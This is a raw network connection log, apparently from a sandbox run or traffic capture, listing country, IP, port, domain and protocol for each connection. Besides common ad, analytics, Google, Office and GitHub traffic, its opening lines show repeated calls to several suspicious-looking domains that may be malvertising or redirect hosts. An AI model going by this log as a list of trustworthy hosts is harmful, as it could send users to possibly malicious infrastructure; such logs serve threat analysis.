CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
CH 185.155.186.25:443 lwwwr7n.jarteaused.live tcp
DE 136.243.216.235:443 jsontdsexit2.com tcp
US 104.21.77.110:443 mobilegurupromarketing.lat udp
US 104.17.24.14:443 cdnjs.cloudflare.com udp
US 151.101.194.137:443 code.jquery.com tcp
US 104.18.10.207:443 maxcdn.bootstrapcdn.com udp
US 104.17.248.203:443 unpkg.com tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 151.101.1.229:443 cdn.jsdelivr.net udp
GB 172.217.16.225:443 lh5.googleusercontent.com tcp
GB 172.217.16.225:443 lh5.googleusercontent.com udp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.179.238:443 play.google.com tcp
US 18.239.208.102:443 d1swflnkzxq4j7.cloudfront.net tcp
US 172.67.213.55:443 a.luckywinnerss.com tcp
US 172.67.213.55:443 a.luckywinnerss.com udp
US 104.21.46.154:443 track.premiummcontent.com tcp
US 104.21.46.154:443 track.premiummcontent.com udp
US 104.21.10.106:443 img.protect-shield.com tcp
US 104.21.10.106:443 img.protect-shield.com udp
GB 172.217.16.234:443 ajax.googleapis.com tcp
US 104.17.248.203:443 unpkg.com tcp
US 104.17.24.14:443 cdnjs.cloudflare.com tcp
US 104.17.248.203:443 unpkg.com tcp
US 172.67.131.109:443 img.protect-shield.com tcp
US 172.67.131.109:443 img.protect-shield.com udp
GB 172.217.16.234:443 ajax.googleapis.com udp
US 104.17.24.14:443 cdnjs.cloudflare.com udp
BE 64.233.166.84:443 accounts.google.com tcp
BE 64.233.166.84:443 accounts.google.com udp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.200.2:443 googleads.g.doubleclick.net tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.2:443 googleads.g.doubleclick.net udp
GB 142.250.200.3:443 www.google.co.uk tcp
GB 142.250.200.3:443 www.google.co.uk udp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.179.238:443 play.google.com udp
US 104.21.10.106:443 img.protect-shield.com udp
GB 172.217.16.234:443 ajax.googleapis.com udp
GB 142.250.187.196:443 www.google.com udp
NL 23.62.61.90:443 eu-prod.oppwa.com tcp
GB 142.250.200.3:443 www.google.co.uk udp
GB 142.250.200.2:443 googleads.g.doubleclick.net udp
GB 142.250.200.2:443 googleads.g.doubleclick.net tcp
US 216.239.32.36:443 region1.google-analytics.com udp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.179.238:443 play.google.com udp
US 172.67.73.216:443 dnschecker.org tcp
US 104.18.20.206:443 a.pub.network tcp
US 104.18.20.206:443 a.pub.network udp
US 34.160.152.31:443 d.pub.network tcp
US 34.160.152.31:443 d.pub.network udp
US 34.111.152.239:443 optimise.net tcp
US 34.111.152.239:443 optimise.net tcp
US 34.111.152.239:443 optimise.net udp
US 34.160.128.112:443 api.floors.dev tcp
US 34.160.128.112:443 api.floors.dev tcp
US 18.239.208.96:443 cdn.privacy-mgmt.com tcp
US 34.160.128.112:443 api.floors.dev udp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 18.239.208.4:443 sb.scorecardresearch.com tcp
US 104.26.8.50:443 freestar-io.videoplayerhub.com tcp
US 104.18.43.90:443 cdn.confiant-integrations.net tcp
US 104.22.52.173:443 cdn.hadronid.net tcp
US 104.18.43.90:443 cdn.confiant-integrations.net udp
US 104.22.75.216:443 btloader.com tcp
US 8.8.8.8:53 idx.liadm.com udp
US 52.12.161.136:443 pb-rtd.ccgateway.net tcp
US 172.67.23.234:443 a.ad.gt.cdn.cloudflare.net tcp
US 172.67.23.234:443 a.ad.gt.cdn.cloudflare.net tcp
US 52.12.161.136:443 pb-rtd.ccgateway.net tcp
US 52.12.161.136:443 pb-rtd.ccgateway.net tcp
US 18.239.208.6:443 d2wcz8sc48ztgm.cloudfront.net tcp
US 104.22.75.216:443 btloader.com tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 global.px.quantserve.com udp
US 34.107.140.113:443 s2s.t13.io tcp
US 34.107.140.113:443 s2s.t13.io tcp
US 18.239.208.6:443 d2wcz8sc48ztgm.cloudfront.net udp
US 34.160.152.31:443 c.pub.network tcp
US 34.160.152.31:443 c.pub.network tcp
US 34.107.140.113:443 s2s.t13.io udp
US 8.8.8.8:53 90.43.18.104.in-addr.arpa udp
US 8.8.8.8:53 173.52.22.104.in-addr.arpa udp
US 8.8.8.8:53 216.75.22.104.in-addr.arpa udp
US 8.8.8.8:53 234.23.67.172.in-addr.arpa udp
US 8.8.8.8:53 6.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 136.161.12.52.in-addr.arpa udp
US 8.8.8.8:53 70.2.26.104.in-addr.arpa udp
US 8.8.8.8:53 194.23.211.130.in-addr.arpa udp
US 8.8.8.8:53 113.140.107.34.in-addr.arpa udp
US 104.22.4.69:443 p.ad.gt tcp
US 76.223.111.18:443 eu-eb2.3lift.com tcp
US 130.211.23.194:443 api.btloader.com udp
US 34.160.152.31:443 c.pub.network udp
GB 172.217.169.65:443 15078d45e2eb758cc9b984f16de09c1c.safeframe.googlesyndication.com tcp
US 18.239.212.129:443 c.amazon-adsystem.com tcp
US 52.223.40.198:443 match.adsrvr.org tcp
GB 172.217.169.65:443 15078d45e2eb758cc9b984f16de09c1c.safeframe.googlesyndication.com udp
NL 35.214.149.91:443 user-data-eu.bidswitch.net tcp
SE 104.73.92.198:443 ads.pubmatic.com tcp
US 8.8.8.8:53 ssbsync-global.smartadserver.com udp
US 8.8.8.8:53 match.sharethrough.com udp
NL 35.214.244.63:443 envoy-hl.envoy-csync1.core-b8mf.ov1o.com tcp
US 80.77.87.163:443 cs.admanmedia.com tcp
US 107.22.9.250:443 cs-server-s2s.yellowblue.io tcp
US 35.244.159.8:443 u.openx.net tcp
US 165.22.188.128:443 sync.kueezrtb.com tcp
GB 142.250.200.2:443 pubads.g.doubleclick.net tcp
US 18.239.208.123:443 video.primis.tech tcp
US 104.18.36.155:443 ssum-sec.casalemedia.com tcp
US 35.244.159.8:443 u.openx.net udp
GB 142.250.200.2:443 pubads.g.doubleclick.net udp
GB 142.250.200.2:443 pubads.g.doubleclick.net tcp
US 18.239.208.123:443 video.primis.tech udp
US 104.18.36.155:443 ssum-sec.casalemedia.com udp
NL 178.250.1.11:443 dnacdn.net tcp
US 44.208.230.77:443 ActivationEdge-fabrick-1457061833.us-east-1.elb.amazonaws.com tcp
DE 162.19.138.83:443 id5-sync.com tcp
US 34.120.133.55:443 api.rlcdn.com tcp
US 3.223.221.123:443 idx.liadm.com tcp
DE 91.228.74.166:443 global.px.quantserve.com tcp
GB 185.64.190.77:443 hbopenbid-lhrc.pubmnet.com tcp
DE 3.68.142.144:443 btlr.sharethrough.com tcp
DE 3.68.142.144:443 btlr.sharethrough.com tcp
DE 3.68.142.144:443 btlr.sharethrough.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
DE 3.68.142.144:443 btlr.sharethrough.com tcp
DE 3.68.142.144:443 btlr.sharethrough.com tcp
US 8.8.8.8:53 cs.media.net udp
US 8.8.8.8:53 ids.ad.gt udp
US 34.120.63.153:443 prebid.media.net tcp
DE 3.68.142.144:443 btlr.sharethrough.com tcp
IE 34.250.99.71:443 rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com tcp
US 8.8.8.8:53 secure.adnxs.com udp
NL 178.250.1.8:443 bidder.nl3.vip.prod.criteo.com tcp
US 8.8.8.8:53 image2.pubmatic.com udp
US 8.8.8.8:53 token.rubiconproject.com udp
US 50.17.176.238:443 rp.liadm.com tcp
US 8.8.8.8:53 envoy-hl.envoy-csync1.core-b8mf.ov1o.com udp
NL 178.250.1.11:443 dnacdn.net tcp
US 104.22.5.69:443 ids.ad.gt tcp
US 104.22.5.69:443 ids.ad.gt tcp
US 8.8.8.8:53 91.149.214.35.in-addr.arpa udp
US 8.8.8.8:53 198.92.73.104.in-addr.arpa udp
US 8.8.8.8:53 63.244.214.35.in-addr.arpa udp
US 8.8.8.8:53 8.159.244.35.in-addr.arpa udp
US 8.8.8.8:53 250.9.22.107.in-addr.arpa udp
US 8.8.8.8:53 128.188.22.165.in-addr.arpa udp
US 8.8.8.8:53 123.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 155.36.18.104.in-addr.arpa udp
US 8.8.8.8:53 cs.admanmedia.com udp
US 8.8.8.8:53 ssbsync-euw1.smartadserver.com udp
US 8.8.8.8:53 eu-west-dual.ads.stickyadstv.com.akadns.net udp
US 104.22.5.69:443 ids.ad.gt.cdn.cloudflare.net tcp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
US 8.8.8.8:53 163.87.77.80.in-addr.arpa udp
US 34.120.63.153:443 prebid.media.net udp
US 34.120.133.55:443 api.rlcdn.com udp
DE 37.252.173.215:443 secure.adnxs.com tcp
NL 198.47.127.205:443 image2.pubmatic.com tcp
NL 69.173.156.148:443 token.rubiconproject.com tcp
GB 142.250.187.226:443 cm.g.doubleclick.net tcp
NL 46.228.174.117:443 sync.1rx.io tcp
NL 81.17.55.172:443 sync.smartadserver.com tcp
NL 208.93.169.131:443 am1-direct-bgp.contextweb.com tcp
IE 54.246.87.181:443 ad.360yield.com tcp
US 18.239.208.6:443 rtb.primis.tech tcp
NL 185.89.210.153:443 ib.adnxs-simple.com tcp
NL 69.173.156.150:443 prebid-server.rubiconproject.com tcp
NL 69.173.156.150:443 prebid-server.rubiconproject.com tcp
GB 142.250.187.226:443 cm.g.doubleclick.net udp
US 8.8.8.8:53 83.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 153.63.120.34.in-addr.arpa udp
US 8.8.8.8:53 71.99.250.34.in-addr.arpa udp
US 8.8.8.8:53 77.230.208.44.in-addr.arpa udp
US 8.8.8.8:53 123.221.223.3.in-addr.arpa udp
US 8.8.8.8:53 8.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 69.5.22.104.in-addr.arpa udp
US 8.8.8.8:53 238.176.17.50.in-addr.arpa udp
GB 142.250.187.196:443 www.google.com tcp
US 104.22.4.69:443 pixels.ad.gt.cdn.cloudflare.net tcp
US 104.22.5.69:443 pixels.ad.gt.cdn.cloudflare.net tcp
US 104.22.5.69:443 pixels.ad.gt.cdn.cloudflare.net tcp
US 34.160.128.112:443 api.floors.dev udp
US 104.22.4.69:443 pixels.ad.gt.cdn.cloudflare.net tcp
BE 2.17.107.83:443 a267.g.akamai.net tcp
IE 52.51.110.75:443 pixel.adsafeprotected.com tcp
US 130.211.23.194:443 api.btloader.com udp
US 18.239.208.6:443 rtb.primis.tech udp
NL 69.173.156.149:443 token.rubiconproject.com tcp
DE 3.71.149.231:443 ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud tcp
US 3.220.122.203:443 partners-alb-1113315349.us-east-1.elb.amazonaws.com tcp
SE 2.23.144.23:443 hblg.media.net tcp
IE 34.246.216.47:443 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com tcp
NL 89.149.192.245:443 ssbsync.smartadserver.com tcp
DK 37.157.3.26:443 cm.adform.net tcp
DE 54.93.136.21:443 match-eu-central-1-ecs.sharethrough.com tcp
FR 154.54.250.80:443 ads.stickyadstv.com tcp
DE 141.95.33.120:443 lb.eu-1-id5-sync.com tcp
US 18.239.208.35:443 d3div1mtym39ic.cloudfront.net tcp
FR 178.250.7.13:443 dnacdn.net tcp
GB 142.250.187.196:443 www.google.com udp
US 18.239.208.35:443 d3div1mtym39ic.cloudfront.net udp
US 18.239.208.83:443 rules.quantcount.com tcp
NL 178.250.1.3:443 static.nl3.vip.prod.criteo.net tcp
US 18.239.208.69:443 d3div1mtym39ic.cloudfront.net tcp
US 8.8.8.8:53 149.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 47.216.246.34.in-addr.arpa udp
US 8.8.8.8:53 21.136.93.54.in-addr.arpa udp
US 8.8.8.8:53 231.149.71.3.in-addr.arpa udp
US 8.8.8.8:53 26.3.157.37.in-addr.arpa udp
US 8.8.8.8:53 23.144.23.2.in-addr.arpa udp
US 8.8.8.8:53 120.33.95.141.in-addr.arpa udp
US 8.8.8.8:53 203.122.220.3.in-addr.arpa udp
US 8.8.8.8:53 35.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 13.7.250.178.in-addr.arpa udp
US 8.8.8.8:53 3.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 83.208.239.18.in-addr.arpa udp
US 18.239.208.31:443 config.aps.amazon-adsystem.com tcp
US 18.239.207.196:443 d1jvc9b8z3vcjs.cloudfront.net tcp
US 18.239.207.196:443 d1jvc9b8z3vcjs.cloudfront.net tcp
DE 23.67.137.210:443 secure.cdn.fastclick.net tcp
US 104.22.52.86:443 cdn.id5-sync.com tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
GB 142.250.200.3:443 www.google.co.uk tcp
US 216.239.34.36:443 region1.google-analytics.com udp
GB 142.250.200.3:443 www.google.co.uk udp
DE 91.228.74.159:443 cms.quantserve.com tcp
DE 162.19.138.83:443 lb.eu-1-id5-sync.com tcp
BE 74.125.133.155:443 stats.g.doubleclick.net tcp
BE 74.125.133.155:443 stats.g.doubleclick.net udp
NL 185.89.210.90:443 ib.anycast.adnxs.com tcp
SE 2.23.144.23:443 warp.media.net tcp
SE 23.201.43.138:443 e96626.d.akamaiedge.net tcp
IE 52.95.122.74:443 aax-eu.amazon-adsystem.com tcp
NL 178.250.1.3:443 static.nl3.vip.prod.criteo.net tcp
SE 23.201.43.138:443 e96626.d.akamaiedge.net udp
BE 2.21.16.25:443 contextual.media.net tcp
US 151.101.1.108:443 prod.appnexus.map.fastly.net tcp
US 172.64.149.180:443 js-sec.indexww.com tcp
US 8.8.8.8:53 eus.rubiconproject.com udp
US 8.8.8.8:53 creativecdn.com udp
US 8.8.8.8:53 dis.criteo.com udp
BE 2.21.18.175:443 eus.rubiconproject.com tcp
BE 2.21.16.25:443 contextual.media.net udp
NL 185.184.8.90:443 creativecdn.com tcp
NL 178.250.1.9:443 dis.criteo.com tcp
SE 184.31.15.184:443 l.pm-serv.co tcp
SE 2.23.144.23:443 warp.media.net tcp
NL 178.250.1.9:443 dis.criteo.com tcp
US 8.8.8.8:53 175.18.21.2.in-addr.arpa udp
US 8.8.8.8:53 90.8.184.185.in-addr.arpa udp
US 8.8.8.8:53 184.15.31.184.in-addr.arpa udp
US 8.8.8.8:53 9.1.250.178.in-addr.arpa udp
NL 178.250.1.7:443 ssp-sync.nl3.vip.prod.criteo.com tcp
IE 99.80.151.237:443 pbs-cs.yellowblue.io tcp
US 54.187.180.51:443 dt.adsafeprotected.com tcp
US 54.187.180.51:443 dt.adsafeprotected.com tcp
US 80.77.87.163:443 cs.admanmedia.com tcp
IE 18.203.86.130:443 id.crwdcntrl.net tcp
NL 35.214.244.63:443 envoy-hl.envoy-csync1.core-b8mf.ov1o.com tcp
DE 51.75.86.98:443 onetag-sys.com tcp
BE 104.68.78.171:443 e8960.e2.akamaiedge.net tcp
US 80.77.87.163:443 cs.admanmedia.com tcp
US 35.244.159.8:443 us-u.openx.net tcp
NL 198.47.127.18:443 image8.pubmatic.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
NL 81.17.55.123:443 ssbsync.smartadserver.com tcp
US 35.244.159.8:443 us-u.openx.net udp
DE 51.75.86.98:443 onetag-sys.com udp
IE 54.217.173.39:443 pbs-cs.yellowblue.io tcp
DE 91.228.74.166:443 cms.quantserve.com tcp
US 192.132.33.69:443 bttrack.com tcp
US 8.8.8.8:53 98.86.75.51.in-addr.arpa udp
US 8.8.8.8:53 18.127.47.198.in-addr.arpa udp
US 8.8.8.8:53 123.55.17.81.in-addr.arpa udp
US 8.8.8.8:53 171.78.68.104.in-addr.arpa udp
US 8.8.8.8:53 39.173.217.54.in-addr.arpa udp
US 8.8.8.8:53 69.33.132.192.in-addr.arpa udp
US 18.239.209.41:443 images-na.ssl-images-amazon.com tcp
US 18.239.209.41:443 images-na.ssl-images-amazon.com udp
US 18.239.208.122:443 ts.amazon-adsystem.com tcp
IE 52.95.122.74:443 aax-eu.amazon-adsystem.com tcp
FR 185.235.86.173:443 gbc6.fr3.eu.criteo.com tcp
US 18.239.209.41:443 images-na.ssl-images-amazon.com tcp
FR 185.235.86.64:443 gem.gbc.criteo.com tcp
US 8.8.8.8:53 gbc2.fr3.eu.criteo.com udp
US 18.239.209.41:443 images-na.ssl-images-amazon.com udp
US 8.8.8.8:53 41.209.239.18.in-addr.arpa udp
US 8.8.8.8:53 122.208.239.18.in-addr.arpa udp
NL 198.47.127.18:443 image8.pubmatic.com tcp
BE 2.21.18.175:443 eus.rubiconproject.com tcp
BE 2.21.18.175:443 eus.rubiconproject.com tcp
NL 69.173.156.148:443 pixel-eu.rubiconproject.net.akadns.net tcp
US 18.239.208.123:443 d3cht5btq2kl2s.cloudfront.net udp
US 172.64.149.180:443 cdn.indexww.com tcp
US 8.8.8.8:53 pixel-eu.rubiconproject.com udp
US 80.77.87.163:443 cs.admanmedia.com tcp
US 8.8.8.8:53 t.adx.opera.com udp
US 8.8.8.8:53 spl.zeotap.com udp
US 8.8.8.8:53 s.amazon-adsystem.com udp
US 104.22.51.98:443 spl.zeotap.com tcp
DE 52.29.4.131:443 elb-aws-fr-dorpat-283474803.eu-central-1.elb.amazonaws.com tcp
US 74.121.140.211:443 pixel-origin.mathtag.com tcp
NL 69.173.156.148:443 pixel-eu.rubiconproject.com tcp
NL 82.145.213.8:443 outspot2-ams.adx.opera.com tcp
US 52.46.151.131:443 s.amazon-adsystem.com tcp
US 8.8.8.8:53 211.140.121.74.in-addr.arpa udp
US 8.8.8.8:53 131.151.46.52.in-addr.arpa udp
US 34.111.64.196:443 premiumsearches.net tcp
US 34.111.64.196:443 premiumsearches.net udp
US 152.199.19.161:443 msadsscale.azureedge.net tcp
DE 87.230.98.76:443 d.delivery.consentmanager.net tcp
GB 195.181.164.19:443 cdn.consentmanager.net tcp
DE 87.230.98.76:443 d.delivery.consentmanager.net tcp
SE 23.201.43.138:443 e96626.d.akamaiedge.net tcp
SE 23.201.43.138:443 e96626.d.akamaiedge.net tcp
US 13.107.5.80:443 www.bingapis.com tcp
DE 87.230.98.76:443 d.delivery.consentmanager.net tcp
US 13.107.246.64:443 part-0036.t-0009.t-msedge.net tcp
SE 184.31.15.184:443 e96626.d.akamaiedge.net tcp
US 52.182.143.210:443 browser.pipe.aria.microsoft.com tcp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
US 104.16.127.68:80 tags.moneysupermarket.com tcp
US 104.16.127.68:80 tags.moneysupermarket.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com udp
US 104.16.126.68:443 tags.moneysupermarket.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com tcp
US 18.239.208.26:443 dna9pha6xgm00.cloudfront.net tcp
US 18.239.208.26:443 dna9pha6xgm00.cloudfront.net tcp
US 18.239.208.26:443 dna9pha6xgm00.cloudfront.net tcp
US 18.239.208.26:443 dna9pha6xgm00.cloudfront.net tcp
US 18.239.208.26:443 dna9pha6xgm00.cloudfront.net tcp
US 18.239.208.26:443 dna9pha6xgm00.cloudfront.net tcp
US 104.16.126.68:443 tags.moneysupermarket.com udp
US 104.16.126.68:443 tags.moneysupermarket.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com udp
US 104.16.126.68:443 tags.moneysupermarket.com udp
US 204.79.197.237:443 bat.bing.com tcp
US 104.16.126.68:443 tags.moneysupermarket.com udp
GB 163.70.151.21:443 scontent.xx.fbcdn.net tcp
GB 163.70.151.21:443 scontent.xx.fbcdn.net udp
GB 157.240.221.35:443 www.facebook.com tcp
GB 157.240.221.35:443 www.facebook.com udp
US 104.16.126.68:443 tags.moneysupermarket.com udp
US 8.8.8.8:53 push.services.mozilla.com udp
US 34.107.243.93:443 push.services.mozilla.com tcp
US 34.107.243.93:443 push.services.mozilla.com tcp
US 8.8.8.8:53 support.mozilla.org udp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.179.238:443 www.youtube.com udp
US 151.101.1.91:443 n.sni.global.fastly.net tcp
US 151.101.1.91:443 n.sni.global.fastly.net udp
GB 142.250.187.196:443 www.google.com tcp
US 151.101.1.91:443 n.sni.global.fastly.net tcp
US 151.101.1.91:443 n.sni.global.fastly.net tcp
US 151.101.1.91:443 n.sni.global.fastly.net tcp
US 104.19.177.52:443 cdn.cookielaw.org tcp
GB 142.250.187.196:443 www.google.com udp
US 151.101.1.91:443 n.sni.global.fastly.net udp
US 18.239.209.24:443 www.datadoghq-browser-agent.com tcp
US 104.19.177.52:443 cdn.cookielaw.org tcp
US 151.101.1.91:443 n.sni.global.fastly.net udp
US 104.18.32.137:443 geolocation.onetrust.com tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 172.64.155.119:443 geolocation.onetrust.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com udp
GB 142.250.180.22:443 i.ytimg.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com tcp
GB 142.250.178.14:443 youtube-ui.l.google.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
GB 142.250.180.22:443 i.ytimg.com udp
GB 142.250.180.14:443 youtube-ui.l.google.com tcp
GB 142.250.180.14:443 youtube-ui.l.google.com udp
GB 142.250.200.2:443 adclick.g.doubleclick.net tcp
GB 216.58.213.6:443 static.doubleclick.net tcp
GB 172.217.169.42:443 jnn-pa.googleapis.com tcp
GB 172.217.169.42:443 jnn-pa.googleapis.com tcp
GB 142.250.200.2:443 adclick.g.doubleclick.net udp
GB 216.58.213.6:443 static.doubleclick.net udp
GB 172.217.169.42:443 jnn-pa.googleapis.com udp
GB 172.217.169.42:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 42.169.217.172.in-addr.arpa udp
GB 142.250.180.14:443 youtube-ui.l.google.com udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
GB 142.250.180.14:443 youtube-ui.l.google.com udp
US 209.222.98.21:443 filedropper.soft112.com tcp
US 8.8.8.8:53 www.soft112.com udp
US 8.8.8.8:53 fundingchoicesmessages.google.com udp
US 104.243.35.223:443 www.soft112.com tcp
US 104.243.35.223:443 www.soft112.com tcp
US 104.243.35.223:443 www.soft112.com tcp
US 104.243.35.223:443 www.soft112.com tcp
US 104.243.35.223:443 www.soft112.com tcp
GB 142.250.187.238:443 fundingchoicesmessages.google.com tcp
GB 142.250.187.238:443 fundingchoicesmessages.google.com udp
GB 172.217.16.225:443 lh3.googleusercontent.com tcp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
US 13.107.246.64:443 part-0036.t-0009.t-msedge.net tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
GB 142.250.200.3:443 www.google.co.uk tcp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 cdn.soft112.com udp
GB 143.244.38.136:443 cdn.soft112.com tcp
GB 142.250.200.3:443 www.google.co.uk udp
US 216.239.34.36:443 region1.analytics.google.com udp
BE 74.125.133.155:443 stats.g.doubleclick.net tcp
IE 68.219.88.97:443 c-msn-com-nsatc.trafficmanager.net tcp
US 20.114.190.119:443 x.clarity.ms tcp
BE 74.125.133.155:443 stats.g.doubleclick.net udp
US 204.79.197.237:443 c.bing.com tcp
GB 142.250.200.2:443 adclick.g.doubleclick.net tcp
GB 142.250.200.2:443 adclick.g.doubleclick.net tcp
GB 142.250.200.2:443 adclick.g.doubleclick.net tcp
GB 142.250.200.2:443 adclick.g.doubleclick.net tcp
GB 172.217.16.225:443 lh3.googleusercontent.com tcp
GB 142.250.200.2:443 adclick.g.doubleclick.net udp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
US 104.243.35.223:443 www.soft112.com tcp
NL 142.250.27.120:443 csi.gstatic.com tcp
NL 142.250.27.120:443 csi.gstatic.com udp
US 8.8.8.8:53 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com udp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
GB 142.250.187.196:443 www.google.com udp
NL 142.250.27.120:443 csi.gstatic.com udp
GB 172.217.16.225:443 lh3.googleusercontent.com udp
GB 142.250.180.22:443 i.ytimg.com udp
GB 142.250.178.14:443 encrypted-tbn0.gstatic.com udp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.180.14:443 img.youtube.com udp
GB 216.58.212.234:443 jnn-pa.googleapis.com udp
GB 216.58.212.234:443 jnn-pa.googleapis.com tcp
US 8.8.8.8:53 234.212.58.216.in-addr.arpa udp
GB 142.250.179.238:443 ytimg.l.google.com udp
GB 216.58.213.6:443 static.doubleclick.net udp
GB 216.58.204.78:443 ytimg.l.google.com tcp
GB 216.58.204.78:443 ytimg.l.google.com udp
GB 142.250.178.14:443 ytimg.l.google.com udp
GB 142.250.180.22:443 i.ytimg.com udp
GB 216.58.213.6:443 static.doubleclick.net udp
GB 216.58.212.234:443 jnn-pa.googleapis.com udp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.133:443 avatars.githubusercontent.com tcp
US 185.199.108.133:443 avatars.githubusercontent.com tcp
US 140.82.114.22:443 collector.github.com tcp
US 140.82.114.22:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 8.8.8.8:53 154.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
US 185.199.109.133:443 objects.githubusercontent.com tcp
US 185.199.109.133:443 objects.githubusercontent.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
FR 164.132.58.105:443 rentry.org tcp
AU 104.192.141.1:443 bitbucket.org tcp
AU 104.192.141.1:443 bitbucket.org tcp
FR 164.132.58.105:443 rentry.org tcp
AU 104.192.141.1:443 bitbucket.org tcp
US 8.8.8.8:53 x.clarity.ms udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
AU 104.192.141.1:443 bitbucket.org tcp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 140.82.113.21:443 collector.github.com tcp
NL 23.62.61.162:443 metadata.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
